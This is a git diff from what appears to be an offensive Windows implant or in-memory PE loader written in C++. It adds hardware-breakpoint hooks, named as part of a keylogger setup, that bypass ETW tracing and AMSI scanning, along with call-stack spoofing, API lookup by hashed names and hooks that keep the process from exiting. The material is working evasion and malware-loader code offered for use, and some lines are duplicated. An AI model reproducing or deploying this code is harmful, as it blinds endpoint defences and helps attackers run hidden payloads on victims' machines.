@ $(ASMCC) -f win64 Source/Asm/Spoof.x64.s -o $(BUILD_PATH)/Bin/obj/spf.x64.obj
|
||||
@ $(ASMCC) -f win64 Source/Asm/Start.x64.s -o $(BUILD_PATH)/Bin/obj/start.x64.obj
|
||||
@ $(ASMCC) -f win64 Source/Asm/Spoof.x64.s -o $(BUILD_PATH)/Bin/obj/spf.x64.obj
|
||||
|
||||
clean:
|
||||
@ rm -f $(BUILD_PATH)/obj/*.x64.obj
|
||||
@ rm -f $(BUILD_PATH)/obj/*.x86.obj
|
||||
@ rm -f $(BUILD_PATH)/*.exe
|
||||
@ rm -f $(BUILD_PATH)/*.Bin
|
||||
@ echo "removed object files"
|
||||
@ rm -f $(BUILD_PATH)/obj/*.x64.obj
|
||||
@ rm -f $(BUILD_PATH)/obj/*.x86.obj
|
||||
@ rm -f $(BUILD_PATH)/*.exe
|
||||
@ rm -f $(BUILD_PATH)/*.Bin
|
||||
@ echo "removed object files"
|
||||
|
||||
@@ -1,312 +1,215 @@
|
||||
#include <General.hpp>
|
||||
|
||||
namespace Hook {
|
||||
|
||||
//==============================================================================
|
||||
// Exit Prevention Hooks
|
||||
//==============================================================================
|
||||
|
||||
class ExitHandler {
|
||||
public:
|
||||
static auto RtlExitUserProcess(LONG ExitCode) -> VOID {
|
||||
// Prevent process exit - do nothing
|
||||
return;
|
||||
}
|
||||
|
||||
static auto NtTerminateProcess(HANDLE Handle, UINT ExitCode) -> BOOL {
|
||||
auto* instance = GetInstance();
|
||||
|
||||
if (Handle == NtCurrentProcess()) {
|
||||
instance->Win32.ExitThread(ExitCode);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return instance->Win32.NtTerminateProcess(Handle, ExitCode);
|
||||
}
|
||||
|
||||
private:
|
||||
static auto GetInstance() -> INSTANCE* {
|
||||
return reinterpret_cast<INSTANCE*>(NtCurrentPeb()->TelemetryCoverageHeader);
|
||||
}
|
||||
};
|
||||
|
||||
//==============================================================================
|
||||
// Memory Management Hooks
|
||||
//==============================================================================
|
||||
|
||||
class MemoryManager {
|
||||
public:
|
||||
static auto NtAllocateVirtualMemory(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID* BaseAddress,
|
||||
ULONG_PTR ZeroBits,
|
||||
SIZE_T* RegionSize,
|
||||
ULONG AllocType,
|
||||
ULONG Protect
|
||||
) -> LONG {
|
||||
return AllocVm( ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocType, Protect );
|
||||
}
|
||||
|
||||
static auto VirtualAlloc(
|
||||
PVOID Address,
|
||||
SIZE_T Size,
|
||||
ULONG AllocType,
|
||||
ULONG Protect
|
||||
) -> PVOID {
|
||||
auto* instance = GetInstance();
|
||||
PVOID addrTemp = Address;
|
||||
SIZE_T sizeTemp = Size;
|
||||
|
||||
const LONG status = NtAllocateVirtualMemory(
|
||||
NtCurrentProcess(), &addrTemp, 0, &sizeTemp, AllocType, Protect
|
||||
);
|
||||
|
||||
SetLastError( instance->Win32.RtlNtStatusToDosError( status ) );
|
||||
return addrTemp;
|
||||
}
|
||||
|
||||
static auto VirtualAllocEx(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID Address,
|
||||
SIZE_T Size,
|
||||
ULONG AllocType,
|
||||
ULONG Protect
|
||||
) -> PVOID {
|
||||
auto* instance = GetInstance();
|
||||
PVOID addrTemp = Address;
|
||||
SIZE_T sizeTemp = Size;
|
||||
|
||||
const LONG status = NtAllocateVirtualMemory(
|
||||
ProcessHandle,
|
||||
&addrTemp,
|
||||
0,
|
||||
&sizeTemp,
|
||||
AllocType,
|
||||
Protect
|
||||
);
|
||||
|
||||
SetLastError(instance->Win32.RtlNtStatusToDosError(status));
|
||||
return addrTemp;
|
||||
}
|
||||
|
||||
static auto NtWriteVirtualMemory(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID BaseAddress,
|
||||
PVOID Buffer,
|
||||
SIZE_T Size,
|
||||
SIZE_T* Written
|
||||
) -> LONG {
|
||||
return WriteVm(ProcessHandle, BaseAddress, Buffer, Size, Written);
|
||||
}
|
||||
|
||||
static auto WriteProcessMemory(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID BaseAddress,
|
||||
PVOID Buffer,
|
||||
SIZE_T Size,
|
||||
SIZE_T* Written
|
||||
) -> BOOL {
|
||||
auto* instance = GetInstance();
|
||||
|
||||
const LONG status = NtWriteVirtualMemory(
|
||||
ProcessHandle,
|
||||
BaseAddress,
|
||||
Buffer,
|
||||
Size,
|
||||
Written
|
||||
);
|
||||
|
||||
SetLastError(instance->Win32.RtlNtStatusToDosError(status));
|
||||
return (status == STATUS_SUCCESS);
|
||||
}
|
||||
|
||||
static auto NtProtectVirtualMemory(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID* BaseAddress,
|
||||
SIZE_T* RegionSize,
|
||||
ULONG NewProtection,
|
||||
ULONG* OldProtection
|
||||
) -> NTSTATUS {
|
||||
auto* instance = GetInstance();
|
||||
|
||||
if (!instance->Ctx.IsSpoof) {
|
||||
return instance->Win32.NtProtectVirtualMemory(
|
||||
ProcessHandle,
|
||||
BaseAddress,
|
||||
RegionSize,
|
||||
NewProtection,
|
||||
OldProtection
|
||||
);
|
||||
}
|
||||
|
||||
return static_cast<NTSTATUS>(
|
||||
Spoof::Call(
|
||||
reinterpret_cast<PVOID>(instance->Win32.NtProtectVirtualMemory),
|
||||
nullptr,
|
||||
reinterpret_cast<PVOID>(ProcessHandle),
|
||||
reinterpret_cast<PVOID>(BaseAddress),
|
||||
reinterpret_cast<PVOID>(RegionSize),
|
||||
reinterpret_cast<PVOID>(NewProtection),
|
||||
reinterpret_cast<PVOID>(OldProtection)
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
static auto VirtualProtect(
|
||||
LPVOID Address,
|
||||
SIZE_T Size,
|
||||
DWORD NewProtect,
|
||||
PDWORD OldProtect
|
||||
) -> BOOL {
|
||||
auto* instance = GetInstance();
|
||||
PVOID addr = Address;
|
||||
SIZE_T size = Size;
|
||||
ULONG oldProt = 0;
|
||||
|
||||
const NTSTATUS status = NtProtectVirtualMemory(
|
||||
NtCurrentProcess(),
|
||||
&addr,
|
||||
&size,
|
||||
NewProtect,
|
||||
&oldProt
|
||||
);
|
||||
|
||||
if (OldProtect) {
|
||||
*OldProtect = oldProt;
|
||||
}
|
||||
|
||||
SetLastError(instance->Win32.RtlNtStatusToDosError(status));
|
||||
return NT_SUCCESS(status);
|
||||
}
|
||||
|
||||
static auto VirtualProtectEx(
|
||||
HANDLE ProcessHandle,
|
||||
LPVOID Address,
|
||||
SIZE_T Size,
|
||||
DWORD NewProtect,
|
||||
PDWORD OldProtect
|
||||
) -> BOOL {
|
||||
auto* instance = GetInstance();
|
||||
PVOID addr = Address;
|
||||
SIZE_T size = Size;
|
||||
ULONG oldProt = 0;
|
||||
|
||||
const NTSTATUS status = NtProtectVirtualMemory(
|
||||
ProcessHandle,
|
||||
&addr,
|
||||
&size,
|
||||
NewProtect,
|
||||
&oldProt
|
||||
);
|
||||
|
||||
if (OldProtect) {
|
||||
*OldProtect = oldProt;
|
||||
}
|
||||
|
||||
SetLastError(instance->Win32.RtlNtStatusToDosError(status));
|
||||
return NT_SUCCESS(status);
|
||||
}
|
||||
|
||||
private:
|
||||
static auto GetInstance() -> INSTANCE* {
|
||||
return reinterpret_cast<INSTANCE*>(NtCurrentPeb()->TelemetryCoverageHeader);
|
||||
auto DECLFN Hwbp::SetDr7(
|
||||
_In_ UPTR ActVal,
|
||||
_In_ UPTR NewVal,
|
||||
_In_ INT StartPos,
|
||||
_In_ INT BitsCount
|
||||
) -> UPTR {
|
||||
if (StartPos < 0 || BitsCount <= 0 || StartPos + BitsCount > 64) {
|
||||
return ActVal;
|
||||
}
|
||||
|
||||
static auto SetLastError(DWORD error) -> VOID {
|
||||
NtCurrentTeb()->LastErrorValue = error;
|
||||
UPTR Mask = (1ULL << BitsCount) - 1ULL;
|
||||
return (ActVal & ~(Mask << StartPos)) | ((NewVal & Mask) << StartPos);
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::Init( VOID ) -> BOOL {
|
||||
G_INSTANCE
|
||||
|
||||
if ( Instance->Hwbp.Init ) return TRUE;
|
||||
|
||||
PVOID ExceptionHandler = (PVOID)&Hwbp::HandleException;
|
||||
|
||||
Instance->Hwbp.Handler = Instance->Win32.RtlAddVectoredExceptionHandler(
|
||||
TRUE, (PVECTORED_EXCEPTION_HANDLER)ExceptionHandler
|
||||
);
|
||||
|
||||
Instance->Hwbp.Init = TRUE;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::Install(
|
||||
_In_ UPTR Address,
|
||||
_In_ INT8 Drx,
|
||||
_In_ PVOID Callback
|
||||
) -> BOOL {
|
||||
G_INSTANCE
|
||||
|
||||
if (Drx < 0 || Drx > 3) return FALSE;
|
||||
|
||||
Instance->Hwbp.Callbacks[Drx] = (UPTR)Callback;
|
||||
Instance->Hwbp.Addresses[Drx] = Address;
|
||||
|
||||
|
||||
return Hwbp::SetBreak(Address, Drx, TRUE);
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::SetBreak(
|
||||
UPTR Address,
|
||||
INT8 Drx,
|
||||
BOOL Init
|
||||
) -> BOOL {
|
||||
G_INSTANCE
|
||||
|
||||
if (Drx < 0 || Drx > 3) return FALSE;
|
||||
|
||||
CONTEXT Ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
|
||||
HANDLE Handle = NtCurrentThread();
|
||||
NTSTATUS Status = STATUS_SUCCESS;
|
||||
|
||||
Status = Instance->Win32.NtGetContextThread(Handle, &Ctx);
|
||||
|
||||
|
||||
if (Init) {
|
||||
(&Ctx.Dr0)[Drx] = Address;
|
||||
Ctx.Dr7 = Hwbp::SetDr7(Ctx.Dr7, 3, (Drx * 2), 2); // active breakpoint
|
||||
} else {
|
||||
(&Ctx.Dr0)[Drx] = 0;
|
||||
Ctx.Dr7 = Hwbp::SetDr7(Ctx.Dr7, 0, (Drx * 2), 2); // desactive breakpoint
|
||||
}
|
||||
};
|
||||
|
||||
Status = Instance->Win32.NtContinue( &Ctx, FALSE );
|
||||
|
||||
auto RtlExitUserProcess(LONG ExitCode) -> VOID {
|
||||
return ExitHandler::RtlExitUserProcess(ExitCode);
|
||||
return NT_SUCCESS(Status);
|
||||
}
|
||||
|
||||
auto NtTerminateProcess(HANDLE Handle, UINT ExitCode) -> BOOL {
|
||||
return ExitHandler::NtTerminateProcess(Handle, ExitCode);
|
||||
auto DECLFN Hwbp::GetArg(
|
||||
_In_ PCONTEXT Ctx,
|
||||
_In_ ULONG Idx
|
||||
) -> UPTR {
|
||||
#ifdef _WIN64
|
||||
switch (Idx) {
|
||||
case 1: return Ctx->Rcx;
|
||||
case 2: return Ctx->Rdx;
|
||||
case 3: return Ctx->R8;
|
||||
case 4: return Ctx->R9;
|
||||
}
|
||||
return *(UPTR*)(Ctx->Rsp + (Idx * sizeof(PVOID)));
|
||||
#else
|
||||
return *(ULONG*)(Ctx->Esp + (Idx * sizeof(PVOID)));
|
||||
#endif
|
||||
}
|
||||
|
||||
auto NtAllocateVirtualMemory(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID* BaseAddress,
|
||||
ULONG_PTR ZeroBits,
|
||||
SIZE_T* RegionSize,
|
||||
ULONG AllocType,
|
||||
ULONG Protect
|
||||
auto DECLFN Hwbp::SetArg(
|
||||
_In_ PCONTEXT Ctx,
|
||||
_In_ UPTR Val,
|
||||
_In_ ULONG Idx
|
||||
) -> VOID {
|
||||
#ifdef _WIN64
|
||||
switch (Idx) {
|
||||
case 1: Ctx->Rcx = Val; return;
|
||||
case 2: Ctx->Rdx = Val; return;
|
||||
case 3: Ctx->R8 = Val; return;
|
||||
case 4: Ctx->R9 = Val; return;
|
||||
}
|
||||
*(UPTR*)(Ctx->Rsp + (Idx * sizeof(PVOID))) = Val;
|
||||
#else
|
||||
*(ULONG*)(Ctx->Esp + (Idx * sizeof(PVOID))) = Val;
|
||||
#endif
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::HandleException(
|
||||
EXCEPTION_POINTERS* e
|
||||
) -> LONG {
|
||||
return MemoryManager::NtAllocateVirtualMemory(
|
||||
ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocType, Protect
|
||||
);
|
||||
G_INSTANCE
|
||||
|
||||
|
||||
if ( e->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP ) {
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
INT8 Drx = -1;
|
||||
for ( INT8 i = 0; i < 4; i++ ) {
|
||||
if ( e->ExceptionRecord->ExceptionAddress == (PVOID)Instance->Hwbp.Addresses[i] ) {
|
||||
Drx = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (Drx == -1 || !Instance->Hwbp.Callbacks[Drx]) {
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
|
||||
Hwbp::SetBreak( Instance->Hwbp.Addresses[Drx], Drx, FALSE);
|
||||
|
||||
|
||||
VOID ( * CallBackRun )( PCONTEXT )= reinterpret_cast<decltype(CallBackRun)>(Instance->Hwbp.Callbacks[Drx]);
|
||||
CallBackRun(e->ContextRecord);
|
||||
|
||||
|
||||
Hwbp::SetBreak( Instance->Hwbp.Addresses[Drx], Drx, TRUE);
|
||||
|
||||
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
|
||||
auto VirtualAlloc(PVOID Address, SIZE_T Size, ULONG AllocType, ULONG Protect) -> PVOID {
|
||||
return MemoryManager::VirtualAlloc( Address, Size, AllocType, Protect );
|
||||
auto DECLFN Hwbp::PatchExitDetour(PCONTEXT Ctx) -> VOID {
|
||||
Ctx->Rax = 0;
|
||||
Ctx->Rip = *(UPTR*)Ctx->Rsp;
|
||||
Ctx->Rsp += sizeof(PVOID);
|
||||
}
|
||||
|
||||
auto DECLFN Hwbp::KeyloggerInit( INT32 BypassFlags ) -> BOOL {
|
||||
G_INSTANCE
|
||||
|
||||
if (!Hwbp::Init()) return FALSE;
|
||||
|
||||
BOOL Success = TRUE;
|
||||
|
||||
if ( BypassFlags ) {
|
||||
if ( BypassFlags == KEYLOGGER_BYPASS_ETW || BypassFlags == KEYLOGGER_BYPASS_ALL ) {
|
||||
Success = Hwbp::Install( (UPTR)Instance->Hwbp.NtTraceEvent, Dr::x1, (PVOID)Hwbp::EtwDetour );
|
||||
if ( ! Success ) return Success;
|
||||
}
|
||||
|
||||
if ( BypassFlags == KEYLOGGER_BYPASS_AMSI || BypassFlags == KEYLOGGER_BYPASS_ALL ) {
|
||||
Success = Hwbp::Install( (UPTR)Instance->Hwbp.AmsiScanBuffer, Dr::x2, (PVOID)Hwbp::AmsiDetour );
|
||||
if ( ! Success ) return Success;
|
||||
}
|
||||
}
|
||||
|
||||
return Success;
|
||||
}
|
||||
|
||||
auto VirtualAllocEx(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID Address,
|
||||
SIZE_T Size,
|
||||
ULONG AllocType,
|
||||
ULONG Protect
|
||||
) -> PVOID {
|
||||
return MemoryManager::VirtualAllocEx( ProcessHandle, Address, Size, AllocType, Protect );
|
||||
auto DECLFN Hwbp::Clean() -> BOOL {
|
||||
G_INSTANCE
|
||||
|
||||
CONTEXT Ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
|
||||
|
||||
Instance->Win32.NtGetContextThread( NtCurrentThread(), &Ctx );
|
||||
|
||||
Ctx.Dr0 = 0;
|
||||
Ctx.Dr1 = 0;
|
||||
Ctx.Dr2 = 0;
|
||||
Ctx.Dr3 = 0;
|
||||
Ctx.Dr7 = 0;
|
||||
|
||||
for (INT8 i = 0; i < 4; i++) {
|
||||
Instance->Hwbp.Callbacks[i] = (UPTR)nullptr;
|
||||
Instance->Hwbp.Addresses[i] = 0;
|
||||
}
|
||||
|
||||
Instance->Win32.RtlRemoveVectoredExceptionHandler( Instance->Hwbp.Handler );
|
||||
|
||||
return Instance->Win32.NtContinue( &Ctx, FALSE );
|
||||
}
|
||||
|
||||
auto NtWriteVirtualMemory(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID BaseAddress,
|
||||
PVOID Buffer,
|
||||
SIZE_T Size,
|
||||
SIZE_T* Written
|
||||
) -> LONG {
|
||||
return MemoryManager::NtWriteVirtualMemory(
|
||||
ProcessHandle, BaseAddress, Buffer, Size, Written
|
||||
);
|
||||
auto DECLFN Hwbp::KeyloggerExit() -> BOOL {
|
||||
return Hwbp::Clean();
|
||||
}
|
||||
|
||||
auto WriteProcessMemory(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID BaseAddress,
|
||||
PVOID Buffer,
|
||||
SIZE_T Size,
|
||||
SIZE_T* Written
|
||||
) -> BOOL {
|
||||
return MemoryManager::WriteProcessMemory(
|
||||
ProcessHandle, BaseAddress, Buffer, Size, Written
|
||||
);
|
||||
auto DECLFN Hwbp::EtwDetour( PCONTEXT Ctx ) -> VOID {
|
||||
Ctx->Rip = *(UPTR*)Ctx->Rsp;
|
||||
Ctx->Rsp += sizeof(PVOID);
|
||||
Ctx->Rax = STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
auto VirtualProtect(
|
||||
LPVOID Address,
|
||||
SIZE_T Size,
|
||||
DWORD NewProtect,
|
||||
PDWORD OldProtect
|
||||
) -> BOOL {
|
||||
return MemoryManager::VirtualProtect( Address, Size, NewProtect, OldProtect );
|
||||
}
|
||||
auto DECLFN Hwbp::AmsiDetour( PCONTEXT Ctx ) -> VOID {
|
||||
G_INSTANCE
|
||||
|
||||
auto VirtualProtectEx(
|
||||
HANDLE ProcessHandle,
|
||||
LPVOID Address,
|
||||
SIZE_T Size,
|
||||
DWORD NewProtect,
|
||||
PDWORD OldProtect
|
||||
) -> BOOL {
|
||||
return MemoryManager::VirtualProtectEx(
|
||||
ProcessHandle, Address, Size, NewProtect, OldProtect
|
||||
);
|
||||
}
|
||||
|
||||
auto NtProtectVirtualMemory(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID* BaseAddress,
|
||||
SIZE_T* RegionSize,
|
||||
ULONG NewProtection,
|
||||
ULONG* OldProtection
|
||||
) -> NTSTATUS {
|
||||
return MemoryManager::NtProtectVirtualMemory(
|
||||
ProcessHandle, BaseAddress, RegionSize, NewProtection, OldProtection
|
||||
);
|
||||
}
|
||||
|
||||
} // namespace Hook
|
||||
Ctx->Rdx = (UPTR)LoadApi(LoadModule(HashStr("ntdll.dll")), HashStr("NtAllocateVirtualMemory"));
|
||||
Ctx->EFlags = (Ctx->EFlags | (1 << 16));
|
||||
}
|
||||
@@ -1,254 +1,729 @@
|
||||
#include <General.hpp>
|
||||
#include <General.hpp>
|
||||
|
||||
auto DECLFN LibLoad( CHAR* LibName ) -> UPTR {
|
||||
G_INSTANCE
|
||||
using namespace mscorlib;
|
||||
|
||||
if ( ! Instance->Ctx.IsSpoof ) return (UPTR)Instance->Win32.LoadLibraryA( LibName );
|
||||
auto DECLFN LibLoad(CHAR* LibName) -> UPTR {
|
||||
G_INSTANCE
|
||||
|
||||
return (UPTR)Spoof::Call( Instance->Win32.LoadLibraryA, 0, (PVOID)LibName );
|
||||
if (!Instance->Ctx.IsSpoof) {
|
||||
return (UPTR)Instance->Win32.LoadLibraryA(LibName);
|
||||
}
|
||||
|
||||
Instance->Win32.DbgPrint("load %p\n", Instance->Win32.LoadLibraryA);
|
||||
|
||||
return (UPTR)Spoof::Call((UPTR)(Instance->Win32.LoadLibraryA), 0, (UPTR)LibName);
|
||||
}
|
||||
|
||||
auto DECLFN AllocVm( HANDLE Handle, PVOID* Address, SIZE_T ZeroBit, SIZE_T* Size, ULONG AllocType, ULONG Protection ) -> NTSTATUS {
|
||||
G_INSTANCE
|
||||
auto DECLFN LoadEssentials(INSTANCE* Instance)->VOID {
|
||||
UPTR Ntdll = LoadModule(HashStr("ntdll.dll"));
|
||||
UPTR Kernel32 = LoadModule(HashStr("kernel32.dll"));
|
||||
UPTR Msvcrt = LoadModule(HashStr("msvcrt.dll"));
|
||||
UPTR Shell32 = LoadModule(HashStr("shell32.dll"));
|
||||
|
||||
if ( ! Instance->Ctx.IsSpoof ) {
|
||||
return Instance->Win32.NtAllocateVirtualMemory(
|
||||
NtCurrentProcess(), Address, ZeroBit, Size, AllocType, Protection
|
||||
);
|
||||
} else {
|
||||
return (LONG)Spoof::Call(
|
||||
Instance->Win32.NtAllocateVirtualMemory, 0, NtCurrentProcess(), Address,
|
||||
(PVOID)ZeroBit, Size, (PVOID)AllocType, (PVOID)Protection
|
||||
);
|
||||
}
|
||||
Instance->Win32.LoadLibraryA = (decltype(Instance->Win32.LoadLibraryA))LoadApi(Kernel32, HashStr("LoadLibraryA"));
|
||||
|
||||
if (!Shell32) LibLoad("shell32.dll");
|
||||
|
||||
Instance->Win32.lstrcpyW = (decltype(Instance->Win32.lstrcpyW))LoadApi(Kernel32, HashStr("lstrcpyW"));
|
||||
Instance->Win32.swprintf = (decltype(Instance->Win32.swprintf))LoadApi(Msvcrt, HashStr("swprintf"));
|
||||
Instance->Win32.strcmp = (decltype(Instance->Win32.strcmp))LoadApi(Msvcrt, HashStr("strcmp"));
|
||||
Instance->Win32.wcslen = (decltype(Instance->Win32.wcslen))LoadApi(Msvcrt, HashStr("wcslen"));
|
||||
Instance->Win32.HeapAlloc = (decltype(Instance->Win32.HeapAlloc))LoadApi(Kernel32, HashStr("HeapAlloc"));
|
||||
Instance->Win32.HeapFree = (decltype(Instance->Win32.HeapFree))LoadApi(Kernel32, HashStr("HeapFree"));
|
||||
Instance->Win32.swprintfw = (decltype(Instance->Win32.swprintfw))LoadApi(Msvcrt, HashStr("swprintfW"));
|
||||
Instance->Win32.GetProcessHeap = (decltype(Instance->Win32.GetProcessHeap))LoadApi(Kernel32, HashStr("GetProcessHeap"));
|
||||
|
||||
Instance->Win32.RtlAllocateHeap = (decltype(Instance->Win32.RtlAllocateHeap))LoadApi(Ntdll, HashStr("RtlAllocateHeap"));
|
||||
Instance->Win32.RtlReAllocateHeap = (decltype(Instance->Win32.RtlReAllocateHeap))LoadApi(Ntdll, HashStr("RtlReAllocateHeap"));
|
||||
Instance->Win32.RtlFreeHeap = (decltype(Instance->Win32.RtlFreeHeap))LoadApi(Ntdll, HashStr("RtlFreeHeap"));
|
||||
Instance->Win32.RtlSecureZeroMemory = (decltype(Instance->Win32.RtlSecureZeroMemory))LoadApi(Ntdll, HashStr("RtlSecureZeroMemory"));
|
||||
Instance->Win32.RtlAddFunctionTable = (decltype(Instance->Win32.RtlAddFunctionTable))LoadApi(Ntdll, HashStr("RtlAddFunctionTable"));
|
||||
|
||||
Instance->Win32.DbgPrint = (decltype(Instance->Win32.DbgPrint))LoadApi(Ntdll, HashStr("DbgPrint"));
|
||||
Instance->Win32.NtClose = (decltype(Instance->Win32.NtClose))LoadApi(Ntdll, HashStr("NtClose"));
|
||||
|
||||
Instance->Win32.GetProcAddress = (decltype(Instance->Win32.GetProcAddress))LoadApi(Kernel32, HashStr("GetProcAddress"));
|
||||
Instance->Win32.GetModuleHandleA = (decltype(Instance->Win32.GetModuleHandleA))LoadApi(Kernel32, HashStr("GetModuleHandleA"));
|
||||
Instance->Win32.CreateThread = (decltype(Instance->Win32.CreateThread))LoadApi(Kernel32, HashStr("CreateThread"));
|
||||
Instance->Win32.CloseHandle = (decltype(Instance->Win32.CloseHandle))LoadApi(Kernel32, HashStr("CloseHandle"));
|
||||
|
||||
Instance->Win32.NtAllocateVirtualMemory = (decltype(Instance->Win32.NtAllocateVirtualMemory))LoadApi(Ntdll, HashStr("NtAllocateVirtualMemory"));
|
||||
Instance->Win32.NtProtectVirtualMemory = (decltype(Instance->Win32.NtProtectVirtualMemory))LoadApi(Ntdll, HashStr("NtProtectVirtualMemory"));
|
||||
Instance->Win32.CommandLineToArgvW = (decltype(Instance->Win32.CommandLineToArgvW))LoadApi(Shell32, HashStr("CommandLineToArgvW"));
|
||||
|
||||
Instance->Win32.LdrGetProcedureAddress = (decltype(Instance->Win32.LdrGetProcedureAddress))LoadApi(Ntdll, HashStr("LdrGetProcedureAddress"));
|
||||
Instance->Win32.GetConsoleWindow = (decltype(Instance->Win32.GetConsoleWindow))LoadApi(Kernel32, HashStr("GetConsoleWindow"));
|
||||
Instance->Win32.AllocConsoleWithOptions = (decltype(Instance->Win32.AllocConsoleWithOptions))LoadApi(Kernel32, HashStr("AllocConsoleWithOptions"));
|
||||
Instance->Win32.FreeConsole = (decltype(Instance->Win32.FreeConsole))LoadApi(Kernel32, HashStr("FreeConsole"));
|
||||
|
||||
Instance->Win32.ReadFile = (decltype(Instance->Win32.ReadFile))LoadApi(Kernel32, HashStr("ReadFile"));
|
||||
Instance->Win32.WriteFile = (decltype(Instance->Win32.WriteFile))LoadApi(Kernel32, HashStr("WriteFile"));
|
||||
Instance->Win32.SetStdHandle = (decltype(Instance->Win32.SetStdHandle))LoadApi(Kernel32, HashStr("SetStdHandle"));
|
||||
Instance->Win32.GetStdHandle = (decltype(Instance->Win32.GetStdHandle))LoadApi(Kernel32, HashStr("GetStdHandle"));
|
||||
|
||||
Instance->Win32.NtGetContextThread = (decltype(Instance->Win32.NtGetContextThread))LoadApi(Ntdll, HashStr("NtGetContextThread"));
|
||||
Instance->Win32.NtContinue = (decltype(Instance->Win32.NtContinue))LoadApi(Ntdll, HashStr("NtContinue"));
|
||||
Instance->Win32.RtlCaptureContext = (decltype(Instance->Win32.RtlCaptureContext))LoadApi(Ntdll, HashStr("RtlCaptureContext"));
|
||||
|
||||
Instance->Win32.RtlAddVectoredExceptionHandler = (decltype(Instance->Win32.RtlAddVectoredExceptionHandler))LoadApi(Ntdll, HashStr("RtlAddVectoredExceptionHandler"));
|
||||
Instance->Win32.RtlRemoveVectoredExceptionHandler = (decltype(Instance->Win32.RtlRemoveVectoredExceptionHandler))LoadApi(Ntdll, HashStr("RtlRemoveVectoredExceptionHandler"));
|
||||
|
||||
Instance->Win32.RtlInitializeCriticalSection = (decltype(Instance->Win32.RtlInitializeCriticalSection))LoadApi(Ntdll, HashStr("RtlInitializeCriticalSection"));
|
||||
Instance->Win32.RtlEnterCriticalSection = (decltype(Instance->Win32.RtlEnterCriticalSection))LoadApi(Ntdll, HashStr("RtlEnterCriticalSection"));
|
||||
Instance->Win32.RtlLeaveCriticalSection = (decltype(Instance->Win32.RtlLeaveCriticalSection))LoadApi(Ntdll, HashStr("RtlLeaveCriticalSection"));
|
||||
|
||||
Instance->Win32.RtlLookupFunctionEntry = (decltype(Instance->Win32.RtlLookupFunctionEntry))LoadApi(Ntdll, HashStr("RtlLookupFunctionEntry"));
|
||||
Instance->Win32.RtlUserThreadStart = (decltype(Instance->Win32.RtlUserThreadStart))LoadApi(Ntdll, HashStr("RtlUserThreadStart"));
|
||||
Instance->Win32.BaseThreadInitThunk = (decltype(Instance->Win32.BaseThreadInitThunk))LoadApi(Kernel32, HashStr("BaseThreadInitThunk"));
|
||||
Instance->Win32.RtlExitUserThread = (decltype(Instance->Win32.RtlExitUserThread))LoadApi(Ntdll, HashStr("RtlExitUserThread"));
|
||||
Instance->Win32.RtlExitUserProcess = (decltype(Instance->Win32.RtlExitUserProcess))LoadApi(Ntdll, HashStr("RtlExitUserProcess"));
|
||||
}
|
||||
|
||||
auto DECLFN ProtVm( HANDLE Handle, PVOID* Address, SIZE_T* Size, ULONG NewProt, ULONG* OldProt ) -> NTSTATUS {
|
||||
G_INSTANCE
|
||||
// Alloc virtual memory for PE
|
||||
auto DECLFN AllocVm(PVOID* Address, SIZE_T ZeroBit, SIZE_T* Size, ULONG AllocType, ULONG Protection) -> NTSTATUS {
|
||||
G_INSTANCE
|
||||
|
||||
if ( ! Instance->Ctx.IsSpoof ) {
|
||||
return Instance->Win32.NtProtectVirtualMemory( NtCurrentProcess(), Address, Size, NewProt, OldProt );
|
||||
}
|
||||
Instance->Win32.DbgPrint("[+] Allocating virtual memory: Size=%llu, AllocType=%lu, Protection=%lu\n", *Size, AllocType, Protection);
|
||||
if (!Instance->Ctx.IsSpoof) {
|
||||
return Instance->Win32.NtAllocateVirtualMemory(
|
||||
NtCurrentProcess(), Address, ZeroBit, Size, AllocType, Protection
|
||||
);
|
||||
}
|
||||
else {
|
||||
return Instance->Win32.NtAllocateVirtualMemory(
|
||||
NtCurrentProcess(), Address, ZeroBit, Size, AllocType, Protection
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
return ( Instance->Win32.NtProtectVirtualMemory( NtCurrentProcess(), Address, Size, NewProt, OldProt ) );
|
||||
// define memory protections
|
||||
auto DECLFN ProtVm(PVOID* Address, SIZE_T* Size, ULONG NewProt, ULONG* OldProt) -> NTSTATUS {
|
||||
G_INSTANCE
|
||||
|
||||
if (!Instance->Ctx.IsSpoof) {
|
||||
return Instance->Win32.NtProtectVirtualMemory(NtCurrentProcess(), Address, Size, NewProt, OldProt);
|
||||
}
|
||||
|
||||
return (Instance->Win32.NtProtectVirtualMemory(NtCurrentProcess(), Address, Size, NewProt, OldProt));
|
||||
}
|
||||
|
||||
auto DECLFN FixTls(
|
||||
_In_ PVOID Base,
|
||||
_In_ IMAGE_DATA_DIRECTORY* DataDir
|
||||
) -> VOID {
|
||||
if ( DataDir->Size ) {
|
||||
PIMAGE_TLS_DIRECTORY TlsDir = (PIMAGE_TLS_DIRECTORY)( (UPTR)( Base ) + DataDir->VirtualAddress );
|
||||
PIMAGE_TLS_CALLBACK* Callback = (PIMAGE_TLS_CALLBACK*)TlsDir->AddressOfCallBacks;
|
||||
_In_ PVOID Base,
|
||||
_In_ IMAGE_DATA_DIRECTORY* DataDir
|
||||
) -> VOID
|
||||
{
